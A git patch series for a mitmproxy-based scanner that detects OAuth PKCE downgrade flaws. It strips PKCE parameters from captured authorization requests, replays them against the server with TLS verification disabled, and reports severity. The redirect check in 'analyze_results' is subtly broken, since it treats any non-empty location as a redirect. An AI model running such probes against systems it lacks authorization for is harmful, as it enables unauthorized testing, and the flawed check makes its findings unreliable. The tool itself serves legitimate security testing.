From fcc0b6d2f3d65e1a68e4f9d03a13415fcbc59eb5 Mon Sep 17 00:00:00 2001 From: imnyang Date: Sat, 7 Jun 2025 19:15:06 +0900 Subject: [PATCH 01/56] =?UTF-8?q?=EB=9F=AC=EC=8A=A4=ED=8A=B8=EA=B0=80=20?= =?UTF-8?q?=EC=A2=8B=EC=95=84=EC=84=9C=20=EB=8D=B0=EC=9D=B4=ED=8A=B8?= =?UTF-8?q?=ED=95=98=EB=9F=AC=EA=B0=90?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- runner/backend/__init__.py | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 runner/backend/__init__.py diff --git a/runner/backend/__init__.py b/runner/backend/__init__.py new file mode 100644 index 0000000..9af9555 --- /dev/null +++ b/runner/backend/__init__.py @@ -0,0 +1,23 @@ +from fastapi import FastAPI, Query, HTTPException +from fastapi.responses import Response +import lib.target as target + +app = FastAPI() + + +@app.post("/start") +async def start(url: str = Query(None)): + if url: + target.save(url) + print(f"Target URL set to: {url}") + return {"message": f"Target URL set to: {url}"} + return {"error": "No URL provided"} + + +@app.exception_handler(404) +async def not_found_handler(request, exc): + return Response(status_code=404) + +@app.exception_handler(405) +async def method_not_allowed_handler(request, exc): + return Response(status_code=405) \ No newline at end of file From 0d09f191c5cd0bb2745c78444bc9a7aca75820e3 Mon Sep 17 00:00:00 2001 From: imnyang Date: Sat, 7 Jun 2025 19:15:21 +0900 Subject: [PATCH 02/56] =?UTF-8?q?=EB=A6=AC=ED=8C=A9=ED=86=A0=EB=A7=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 4 +- addon/init.py | 6 +- addon/pkce_check.py | 246 +++++++++++++++------------- main.py | 46 +++--- pyproject.toml | 2 + runner/proxy.py | 6 + uv.lock | 386 ++++++++++++++++++++++++++++++++++++++++++++ 7 files changed, 557 insertions(+), 139 deletions(-) create mode 100644 runner/proxy.py diff --git a/README.md b/README.md index ce0f841..e6a870f 100644 --- a/README.md +++ b/README.md @@ -21,6 +21,7 @@ uv run main.py # 기여 방법 `./addon/init.py` + ```py from example_check import Example @@ -36,6 +37,7 @@ class LoggerAddon: ``` `./addon/example.py` + ```py import lib.target as target from lib.report import save_report @@ -57,4 +59,4 @@ class Example: save_report(report_data) ``` -이러한 예제를 참고하여 작성하여주세요. \ No newline at end of file +이러한 예제를 참고하여 작성하여주세요. diff --git a/addon/init.py b/addon/init.py index 25bebeb..081cb87 100644 --- a/addon/init.py +++ b/addon/init.py @@ -2,15 +2,19 @@ from mitmproxy import http import asyncio from pkce_check import PKCEDowngradeChecker + class PKCEAddon: def __init__(self): self.checker = PKCEDowngradeChecker() async def request(self, flow: http.HTTPFlow): - print(f"[DEBUG] Processing request: {flow.request.method} {flow.request.pretty_url}") + print( + f"[DEBUG] Processing request: {flow.request.method} {flow.request.pretty_url}" + ) try: await self.checker.test(flow) except Exception as e: print(f"[ERROR] Addon failed: {e}") + addons = [PKCEAddon()] diff --git a/addon/pkce_check.py b/addon/pkce_check.py index 580d78e..cac1693 100644 --- a/addon/pkce_check.py +++ b/addon/pkce_check.py @@ -1,153 +1,181 @@ -# pkce_check.py - from urllib.parse import urlparse, parse_qs, urlencode, urlunparse import asyncio import httpx -import csv -import os -from typing import List, Dict, Any +from typing import Dict, List import lib.target as target from lib.report import save_report + class PKCEDowngradeChecker: - required_keys = ["client_id", "response_type", "code_challenge", "code_challenge_method"] + required_keys = [ + "client_id", + "response_type", + "code_challenge", + "code_challenge_method", + ] async def test(self, flow): req = flow.request - method = req.method - url = req.pretty_url - - print(f"[DEBUG] PKCE check - Method: {method}, URL: {url}") - - if method.upper() != "GET": - print(f"[DEBUG] Skipping non-GET request") + if req.method.upper() != "GET": + print("[DEBUG] Skipping non-GET request") return + url = req.pretty_url parsed = urlparse(url) query = parse_qs(parsed.query) + print(f"[DEBUG] Checking URL: {url}") print(f"[DEBUG] Query parameters: {list(query.keys())}") - if not all(k in query for k in self.required_keys): - missing_keys = [k for k in self.required_keys if k not in query] - print(f"[DEBUG] Missing required keys: {missing_keys}") + if not self.has_required_pkce_keys(query): + print(f"[DEBUG] Missing required keys: {self.missing_keys(query)}") return - print(f"[DEBUG] Found OAuth request with PKCE parameters") - - is_openid = "openid" in query.get("scope", [""])[0] or "id_token" in url method_val = query.get("code_challenge_method", [None])[0] challenge_val = query.get("code_challenge", [None])[0] + is_openid = self.is_openid_flow(query, url) if not method_val or not challenge_val: - status = "MEDIUM" if is_openid else "LOW" - report_data = [{ - 'target': target.load(), - 'status': status, - 'title': "PKCE Parameters Missing", - 'description': "PKCE parameters are missing or incomplete.", - 'uri': url - }] - save_report(report_data) + await self.report_missing_parameters(url, is_openid) return if method_val.lower() == "plain": - status = "CRITICAL" - report_data = [{ - 'target': target.load(), - 'status': status, - 'title': "PKCE Plain Method", - 'description': "PKCE method is set to 'plain'. Possible downgrade.", - 'uri': url - }] - save_report(report_data) + await self.report_plain_method(url) return - # Create downgraded request + downgraded_url = self.create_downgraded_url(parsed, query) + await self.compare_responses(url, downgraded_url, req.headers, is_openid) + + def has_required_pkce_keys(self, query: Dict[str, List[str]]) -> bool: + return all(k in query for k in self.required_keys) + + def missing_keys(self, query: Dict[str, List[str]]) -> List[str]: + return [k for k in self.required_keys if k not in query] + + def is_openid_flow(self, query: Dict[str, List[str]], url: str) -> bool: + return "openid" in query.get("scope", [""])[0] or "id_token" in url + + async def report_missing_parameters(self, url: str, is_openid: bool): + status = "MEDIUM" if is_openid else "LOW" + self.save( + [ + self.make_report( + status, + "PKCE Parameters Missing", + "PKCE parameters are missing or incomplete.", + url, + ) + ] + ) + + async def report_plain_method(self, url: str): + self.save( + [ + self.make_report( + "CRITICAL", + "PKCE Plain Method", + "PKCE method is set to 'plain'. Possible downgrade.", + url, + ) + ] + ) + + def create_downgraded_url(self, parsed, query): downgraded_query = query.copy() downgraded_query.pop("code_challenge", None) downgraded_query.pop("code_challenge_method", None) - new_query = urlencode(downgraded_query, doseq=True) - downgraded_url = urlunparse(parsed._replace(query=new_query)) - - # Ensure downgraded_url is a string, not bytes - if isinstance(downgraded_url, bytes): - downgraded_url = downgraded_url.decode('utf-8') - - # Ensure it's definitely a string - downgraded_url = str(downgraded_url) + return str(urlunparse(parsed._replace(query=new_query))) + + async def compare_responses(self, original_url, downgraded_url, headers, is_openid): + print(f"[DEBUG] Original: {original_url}") + print(f"[DEBUG] Downgraded: {downgraded_url}") - print(f"[DEBUG] Testing downgraded URL: {downgraded_url}") - async with httpx.AsyncClient(follow_redirects=False, verify=False) as client: try: - print(f"[DEBUG] Sending original request...") - orig_resp = await client.get(url, headers=dict(req.headers)) - print(f"[DEBUG] Original response: {orig_resp.status_code}") - - print(f"[DEBUG] Sending downgraded request...") - down_resp = await client.get(downgraded_url, headers=dict(req.headers)) - print(f"[DEBUG] Downgraded response: {down_resp.status_code}") + orig_resp = await client.get(original_url, headers=dict(headers)) + down_resp = await client.get(downgraded_url, headers=dict(headers)) + orig_status = orig_resp.status_code + down_status = down_resp.status_code orig_loc = orig_resp.headers.get("location", "") down_loc = down_resp.headers.get("location", "") - - print(f"[DEBUG] Original location: {orig_loc[:100]}..." if len(orig_loc) > 100 else f"[DEBUG] Original location: {orig_loc}") - print(f"[DEBUG] Downgraded location: {down_loc[:100]}..." if len(down_loc) > 100 else f"[DEBUG] Downgraded location: {down_loc}") - both_redirect = orig_resp.status_code in [301, 302] and down_resp.status_code in [301, 302] - both_have_code = "code=" in orig_loc and "code=" in down_loc - - print(f"[DEBUG] Both redirect: {both_redirect}") - print(f"[DEBUG] Both have code: {both_have_code}") - - # Check if both requests succeeded (either with redirect or direct response) - orig_success = orig_resp.status_code in [200, 301, 302] - down_success = down_resp.status_code in [200, 301, 302] - - if orig_success and down_success: - # If both redirect and both have code, it's a clear vulnerability - if both_redirect and both_have_code: - status = "CRITICAL" - report_data = [{ - 'target': target.load(), - 'status': status, - 'title': "PKCE Downgrade Vulnerability", - 'description': "PKCE downgrade vulnerability detected! Both URLs returned authorization code.", - 'uri': f"Original: {url}\nDowngraded: {downgraded_url}" - }] - save_report(report_data) - # If responses are similar (both redirect to similar pages), it might be vulnerable - elif both_redirect: - # Check if the redirect locations are similar (excluding PKCE parameters) - orig_parsed = urlparse(orig_loc) - down_parsed = urlparse(down_loc) - - if orig_parsed.path == down_parsed.path and orig_parsed.netloc == down_parsed.netloc: - status = "MEDIUM" if is_openid else "LOW" - report_data = [{ - 'target': target.load(), - 'status': status, - 'title': "Potential PKCE Downgrade", - 'description': "Potential PKCE downgrade vulnerability! Server accepts requests without PKCE.", - 'uri': f"Original: {url}\nDowngraded: {downgraded_url}" - }] - save_report(report_data) - elif down_resp.status_code != 400: # 400 would be expected for missing required parameters - status = "MEDIUM" if is_openid else "LOW" - report_data = [{ - 'target': target.load(), - 'status': status, - 'title': "PKCE Not Enforced", - 'description': "Server accepts OAuth request without PKCE parameters.", - 'uri': f"Original: {url}\nDowngraded: {downgraded_url}" - }] - save_report(report_data) + print(f"[DEBUG] Original status: {orig_status}, location: {orig_loc}") + print(f"[DEBUG] Downgraded status: {down_status}, location: {down_loc}") + if self.both_success(orig_status, down_status): + await self.analyze_results( + original_url, downgraded_url, orig_loc, down_loc, is_openid + ) else: - print(f"[DEBUG] Requests had different success status - likely PKCE is enforced") - + print( + "[DEBUG] Requests had different success status - likely PKCE is enforced" + ) except Exception as e: print(f"[ERROR] Request failed: {e}") + + def both_success(self, orig_status, down_status): + return orig_status in [200, 301, 302] and down_status in [200, 301, 302] + + async def analyze_results( + self, original_url, downgraded_url, orig_loc, down_loc, is_openid + ): + both_redirect = all( + code in [301, 302] for code in [orig_loc and 302, down_loc and 302] + ) + both_have_code = "code=" in orig_loc and "code=" in down_loc + + if both_redirect and both_have_code: + status = "CRITICAL" + title = "PKCE Downgrade Vulnerability" + description = ( + "Both URLs returned an authorization code without enforcing PKCE." + ) + elif both_redirect and self.same_redirect_destination(orig_loc, down_loc): + status = "MEDIUM" if is_openid else "LOW" + title = "Potential PKCE Downgrade" + description = ( + "Redirects are similar even without PKCE. Possible vulnerability." + ) + elif ( + "code=" in down_loc + or "id_token=" in down_loc + or "access_token=" in down_loc + ): + status = "MEDIUM" if is_openid else "LOW" + title = "PKCE Not Enforced" + description = "OAuth flow succeeded without PKCE parameters." + else: + return # Likely safe + + self.save( + [ + self.make_report( + status, + title, + description, + f"Original: {original_url}\nDowngraded: {downgraded_url}", + ) + ] + ) + + def same_redirect_destination(self, orig_loc, down_loc): + orig = urlparse(orig_loc) + down = urlparse(down_loc) + return orig.netloc == down.netloc and orig.path == down.path + + def make_report( + self, status: str, title: str, description: str, uri: str + ) -> Dict[str, str]: + return { + "target": target.load(), + "status": status, + "title": title, + "description": description, + "uri": uri, + } + + def save(self, report_data: List[Dict[str, str]]): + save_report(report_data) diff --git a/main.py b/main.py index c72ab4c..b3a64a8 100644 --- a/main.py +++ b/main.py @@ -1,31 +1,21 @@ -import sys -from mitmproxy.tools.main import mitmdump -from flask import Flask, request +from runner.proxy import run_proxy +import subprocess import threading -import lib.target as target - -def main(): - sys.argv = ["mitmdump", "-s", "./addon/init.py", "--listen-port", "11080"] - mitmdump() - -# get target from browser use web api -app = Flask(__name__) - -@app.route('/start', methods=['GET', 'POST']) -def start(): - target_url = request.args.get('url') - if target_url: - target.save(target_url) - print(f"Target URL set to: {target_url}") - return f"Target URL set to: {target_url}" - return "No URL provided" - -def run_web_server(): - app.run(host='localhost', port=11081, debug=False) - -# Start web server in a separate thread -web_thread = threading.Thread(target=run_web_server, daemon=True) -web_thread.start() if __name__ == "__main__": - main() \ No newline at end of file + # Start web server in a separate thread + server_process = subprocess.Popen([ + "granian", + "--interface", "asgi", + "--host", "0.0.0.0", + "--port", "11081", + "--loop", "asyncio", + "--reload", + "runner.backend:app", + ]) + + try: + # Run mitmdump proxy + run_proxy() + finally: + server_process.terminate() diff --git a/pyproject.toml b/pyproject.toml index 36f63ba..fd7bb79 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -8,4 +8,6 @@ dependencies = [ "mitmproxy>=12.1.1", "aiohttp>=3.8.0", "httpx>=0.28.1", + "fastapi[standard]>=0.115.12", + "granian>=2.3.2", ] diff --git a/runner/proxy.py b/runner/proxy.py new file mode 100644 index 0000000..7cc2650 --- /dev/null +++ b/runner/proxy.py @@ -0,0 +1,6 @@ +import sys +from mitmproxy.tools.main import mitmdump + +def run_proxy(): + sys.argv = ["mitmdump", "-s", "./addon/init.py", "--listen-port", "11080"] + mitmdump() diff --git a/uv.lock b/uv.lock index 8c8ac78..8aa500a 100644 --- a/uv.lock +++ b/uv.lock @@ -79,6 +79,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ec/6a/bc7e17a3e87a2985d3e8f4da4cd0f481060eb78fb08596c42be62c90a4d9/aiosignal-1.3.2-py2.py3-none-any.whl", hash = "sha256:45cde58e409a301715980c2b01d0c28bdde3770d8290b5eb2173759d9acb31a5", size = 7597, upload-time = "2024-12-13T17:10:38.469Z" }, ] +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + [[package]] name = "anyio" version = "4.9.0" @@ -259,6 +268,71 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/c9/ad/51f212198681ea7b0deaaf8846ee10af99fba4e894f67b353524eab2bbe5/cryptography-44.0.3-cp39-abi3-win_amd64.whl", hash = "sha256:5d186f32e52e66994dce4f766884bcb9c68b8da62d61d9d215bfe5fb56d21334", size = 3210375, upload-time = "2025-05-02T19:35:35.369Z" }, ] +[[package]] +name = "dnspython" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b5/4a/263763cb2ba3816dd94b08ad3a33d5fdae34ecb856678773cc40a3605829/dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1", size = 345197, upload-time = "2024-10-05T20:14:59.362Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/68/1b/e0a87d256e40e8c888847551b20a017a6b98139178505dc7ffb96f04e954/dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86", size = 313632, upload-time = "2024-10-05T20:14:57.687Z" }, +] + +[[package]] +name = "email-validator" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "dnspython" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/48/ce/13508a1ec3f8bb981ae4ca79ea40384becc868bfae97fd1c942bb3a001b1/email_validator-2.2.0.tar.gz", hash = "sha256:cb690f344c617a714f22e66ae771445a1ceb46821152df8e165c5f9a364582b7", size = 48967, upload-time = "2024-06-20T11:30:30.034Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d7/ee/bf0adb559ad3c786f12bcbc9296b3f5675f529199bef03e2df281fa1fadb/email_validator-2.2.0-py3-none-any.whl", hash = "sha256:561977c2d73ce3611850a06fa56b414621e0c8faa9d66f2611407d87465da631", size = 33521, upload-time = "2024-06-20T11:30:28.248Z" }, +] + +[[package]] +name = "fastapi" +version = "0.115.12" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "starlette" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f4/55/ae499352d82338331ca1e28c7f4a63bfd09479b16395dce38cf50a39e2c2/fastapi-0.115.12.tar.gz", hash = "sha256:1e2c2a2646905f9e83d32f04a3f86aff4a286669c6c950ca95b5fd68c2602681", size = 295236, upload-time = "2025-03-23T22:55:43.822Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/50/b3/b51f09c2ba432a576fe63758bddc81f78f0c6309d9e5c10d194313bf021e/fastapi-0.115.12-py3-none-any.whl", hash = "sha256:e94613d6c05e27be7ffebdd6ea5f388112e5e430c8f7d6494a9d1d88d43e814d", size = 95164, upload-time = "2025-03-23T22:55:42.101Z" }, +] + +[package.optional-dependencies] +standard = [ + { name = "email-validator" }, + { name = "fastapi-cli", extra = ["standard"] }, + { name = "httpx" }, + { name = "jinja2" }, + { name = "python-multipart" }, + { name = "uvicorn", extra = ["standard"] }, +] + +[[package]] +name = "fastapi-cli" +version = "0.0.7" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "rich-toolkit" }, + { name = "typer" }, + { name = "uvicorn", extra = ["standard"] }, +] +sdist = { url = "https://files.pythonhosted.org/packages/fe/73/82a5831fbbf8ed75905bacf5b2d9d3dfd6f04d6968b29fe6f72a5ae9ceb1/fastapi_cli-0.0.7.tar.gz", hash = "sha256:02b3b65956f526412515907a0793c9094abd4bfb5457b389f645b0ea6ba3605e", size = 16753, upload-time = "2024-12-15T14:28:10.028Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a1/e6/5daefc851b514ce2287d8f5d358ae4341089185f78f3217a69d0ce3a390c/fastapi_cli-0.0.7-py3-none-any.whl", hash = "sha256:d549368ff584b2804336c61f192d86ddea080c11255f375959627911944804f4", size = 10705, upload-time = "2024-12-15T14:28:06.18Z" }, +] + +[package.optional-dependencies] +standard = [ + { name = "uvicorn", extra = ["standard"] }, +] + [[package]] name = "flask" version = "3.1.0" @@ -318,6 +392,35 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/13/be/0ebbb283f2d91b72beaee2d07760b2c47dab875c49c286f5591d3d157198/frozenlist-1.6.2-py3-none-any.whl", hash = "sha256:947abfcc8c42a329bbda6df97a4b9c9cdb4e12c85153b3b57b9d2f02aa5877dc", size = 12582, upload-time = "2025-06-03T21:48:03.201Z" }, ] +[[package]] +name = "granian" +version = "2.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9e/80/31faf7a08ddfc3b70af68202de66c6c3acf26cb8eeb0d821a04d21a80f16/granian-2.3.2.tar.gz", hash = "sha256:434bea33a3a4f63db1e65d63a64b80ab44dd09c85421c5555d4188c05c37794d", size = 100765, upload-time = "2025-06-02T20:18:07.096Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9c/9a/1e34ef9416446eeb9506649770e72dd471f82137ca6271d1fdaa7084b093/granian-2.3.2-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:73b945fadf520e6f8b65cc839fe57af094ef0a44ce99c26bf3aaecf100fa64e3", size = 3059224, upload-time = "2025-06-02T20:16:38.734Z" }, + { url = "https://files.pythonhosted.org/packages/44/62/a319e7368285903804a88ec8d15482bfd8d1fead9e2169e23d660819d20b/granian-2.3.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e734027d5b3be16c3d2d060f006cc49592962c6ebae965d9841db22ac1a7c348", size = 2734549, upload-time = "2025-06-02T20:16:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/96/1f/90532d63714ddc59566b0f285b18861541591a1a4a648b5f7df1a039b10a/granian-2.3.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9a212a17fe8d2a750d0e5f04e379eb7a6eec8ff80b67baee7f9f7232867f10ad", size = 3317557, upload-time = "2025-06-02T20:16:41.895Z" }, + { url = "https://files.pythonhosted.org/packages/4e/d2/df2433d186ebdba2330f43610e16d33aa7495fa742be3816de5eae0392d6/granian-2.3.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:85f6ad09a414ffc1a8009bba98b3198db4b73baef37b7f6417c597aa38d7c5a9", size = 3007269, upload-time = "2025-06-02T20:16:43.469Z" }, + { url = "https://files.pythonhosted.org/packages/65/8e/cd942a31fcdedb213f634ce7cec92183bfd789d628149e6980c0dab2dc4c/granian-2.3.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d25d731916e1d1539a9dd2e4d26128e7527e0b5e06bb44d78100b3799dfdb572", size = 3222557, upload-time = "2025-06-02T20:16:45.168Z" }, + { url = "https://files.pythonhosted.org/packages/d7/c2/3bf9c4916e420e4024d120524b6fb9bba38fd78ae5ddafa93744cd2eb6eb/granian-2.3.2-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:61fd3094b286cd5cb5cfbc22d86a3d8f28f829017029a26717c7cfbe7211b55a", size = 3139593, upload-time = "2025-06-02T20:16:46.828Z" }, + { url = "https://files.pythonhosted.org/packages/72/b5/f55c1e04a6252377d3717897adada46566b122af730a05aef4570e670922/granian-2.3.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:2ec0a1724978bec104e46d798371892a8131d879a292e4d104a7764d145cb188", size = 3120473, upload-time = "2025-06-02T20:16:48.343Z" }, + { url = "https://files.pythonhosted.org/packages/4b/6f/bd89f074af692b80c85f593117eae6d35705b2195bfe60be1e937237c447/granian-2.3.2-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:eac2b2771d0ee56e842cdc4ef861beb69c4a9a73d96cacf169328793b1be1869", size = 3470288, upload-time = "2025-06-02T20:16:49.973Z" }, + { url = "https://files.pythonhosted.org/packages/d7/f2/7af1e44ba8a92f86c31928c315ec9823c9fb0b53de495ec27c27c31aadfe/granian-2.3.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:096f6c77683ba476e383360ea57b9239c95235e1d55ffe996ea482917b2e00da", size = 3284715, upload-time = "2025-06-02T20:16:51.739Z" }, + { url = "https://files.pythonhosted.org/packages/81/97/30bcd14de3e6419138731c9da821d2e50d65d4c5398381bfb29d4ee9331c/granian-2.3.2-cp313-cp313-win_amd64.whl", hash = "sha256:de90bef798241a2ae5cc70a6ae8403aeeaf538bc37037b5779bd5e655e3718a8", size = 2800198, upload-time = "2025-06-02T20:16:53.804Z" }, + { url = "https://files.pythonhosted.org/packages/5d/1c/1e67cb95c45893725a377bc5bdf50add3c0a30ba63c6775a99f6cfb3e628/granian-2.3.2-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:0b3325f4406790e4a2e0ddb1541a8192c869930edbd63577245c7f97f9e3f547", size = 2998378, upload-time = "2025-06-02T20:16:55.952Z" }, + { url = "https://files.pythonhosted.org/packages/5f/13/572532da161d3819e9b6c0cf5ee4062974d48357855eff2ad61fe0195848/granian-2.3.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:01bf1fc15ce2ec0835da1f3f1b946f6399a3222d5af45d735447ebbaed8cddd3", size = 2663803, upload-time = "2025-06-02T20:16:57.406Z" }, + { url = "https://files.pythonhosted.org/packages/25/24/04bfb65649cff9688f5024d892de351dadb91bce5ef12a3a49aad5629497/granian-2.3.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9793a2d92db22638672929df753ed5aff517000dbffe391d4b1d698771f1462c", size = 3096781, upload-time = "2025-06-02T20:16:58.935Z" }, + { url = "https://files.pythonhosted.org/packages/9b/0b/62f56c53c9e128f1b14ed8a4adb6dab95989a5797a539425817b31364420/granian-2.3.2-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:a626fc723d2192fc108422d3393d5f231e01d05c90fba952a8093744d4e25c46", size = 2994630, upload-time = "2025-06-02T20:17:00.551Z" }, + { url = "https://files.pythonhosted.org/packages/6e/b5/74ecb1627e63ec95ef10375e4ad2111c1c11dcb9f064a7592ff7cd074647/granian-2.3.2-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:e46ef42fbb54995cddcbcfe281e31ee3f99cd092a260c7edd0d3859c42464c6a", size = 3110450, upload-time = "2025-06-02T20:17:02.341Z" }, + { url = "https://files.pythonhosted.org/packages/92/6d/1203d665bc543ddaeb336d8ba3f5c01b6263c6c1a7a9ca9ee0b318e92ddb/granian-2.3.2-cp313-cp313t-musllinux_1_1_armv7l.whl", hash = "sha256:b9204b11aba5ee1e99f9eb45a2dbeaa6fea1bc4695264efe03abef06f0e43e80", size = 3461156, upload-time = "2025-06-02T20:17:03.814Z" }, + { url = "https://files.pythonhosted.org/packages/42/e5/e4bb2d5e274dd45a3c278674fde9bb6db630f85bd1c1f56c96353b2a0cbf/granian-2.3.2-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:7f9117a4576b89ce8360e8ed76fe4a57f60793fcffcaff10156821fb7734783b", size = 3279049, upload-time = "2025-06-02T20:17:06.361Z" }, + { url = "https://files.pythonhosted.org/packages/ee/02/2c0f248515fd3339f40b5c372bb29b1eff01be113b1898790c327f3ad2ce/granian-2.3.2-cp313-cp313t-win_amd64.whl", hash = "sha256:2b2a7788b6627a218ed978e01ee955c27e9b73f0ef849dcb28e26769bdb4f85d", size = 2801466, upload-time = "2025-06-02T20:17:07.939Z" }, +] + [[package]] name = "h11" version = "0.16.0" @@ -362,6 +465,21 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, ] +[[package]] +name = "httptools" +version = "0.6.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a7/9a/ce5e1f7e131522e6d3426e8e7a490b3a01f39a6696602e1c4f33f9e94277/httptools-0.6.4.tar.gz", hash = "sha256:4e93eee4add6493b59a5c514da98c939b244fce4a0d8879cd3f466562f4b7d5c", size = 240639, upload-time = "2024-10-16T19:45:08.902Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/a3/9fe9ad23fd35f7de6b91eeb60848986058bd8b5a5c1e256f5860a160cc3e/httptools-0.6.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ade273d7e767d5fae13fa637f4d53b6e961fb7fd93c7797562663f0171c26660", size = 197214, upload-time = "2024-10-16T19:44:38.738Z" }, + { url = "https://files.pythonhosted.org/packages/ea/d9/82d5e68bab783b632023f2fa31db20bebb4e89dfc4d2293945fd68484ee4/httptools-0.6.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:856f4bc0478ae143bad54a4242fccb1f3f86a6e1be5548fecfd4102061b3a083", size = 102431, upload-time = "2024-10-16T19:44:39.818Z" }, + { url = "https://files.pythonhosted.org/packages/96/c1/cb499655cbdbfb57b577734fde02f6fa0bbc3fe9fb4d87b742b512908dff/httptools-0.6.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:322d20ea9cdd1fa98bd6a74b77e2ec5b818abdc3d36695ab402a0de8ef2865a3", size = 473121, upload-time = "2024-10-16T19:44:41.189Z" }, + { url = "https://files.pythonhosted.org/packages/af/71/ee32fd358f8a3bb199b03261f10921716990808a675d8160b5383487a317/httptools-0.6.4-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d87b29bd4486c0093fc64dea80231f7c7f7eb4dc70ae394d70a495ab8436071", size = 473805, upload-time = "2024-10-16T19:44:42.384Z" }, + { url = "https://files.pythonhosted.org/packages/8a/0a/0d4df132bfca1507114198b766f1737d57580c9ad1cf93c1ff673e3387be/httptools-0.6.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:342dd6946aa6bda4b8f18c734576106b8a31f2fe31492881a9a160ec84ff4bd5", size = 448858, upload-time = "2024-10-16T19:44:43.959Z" }, + { url = "https://files.pythonhosted.org/packages/1e/6a/787004fdef2cabea27bad1073bf6a33f2437b4dbd3b6fb4a9d71172b1c7c/httptools-0.6.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4b36913ba52008249223042dca46e69967985fb4051951f94357ea681e1f5dc0", size = 452042, upload-time = "2024-10-16T19:44:45.071Z" }, + { url = "https://files.pythonhosted.org/packages/4d/dc/7decab5c404d1d2cdc1bb330b1bf70e83d6af0396fd4fc76fc60c0d522bf/httptools-0.6.4-cp313-cp313-win_amd64.whl", hash = "sha256:28908df1b9bb8187393d5b5db91435ccc9c8e891657f9cbb42a2541b44c82fc8", size = 87682, upload-time = "2024-10-16T19:44:46.46Z" }, +] + [[package]] name = "httpx" version = "0.28.1" @@ -437,6 +555,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", size = 432192, upload-time = "2021-07-18T06:34:12.905Z" }, ] +[[package]] +name = "markdown-it-py" +version = "3.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = 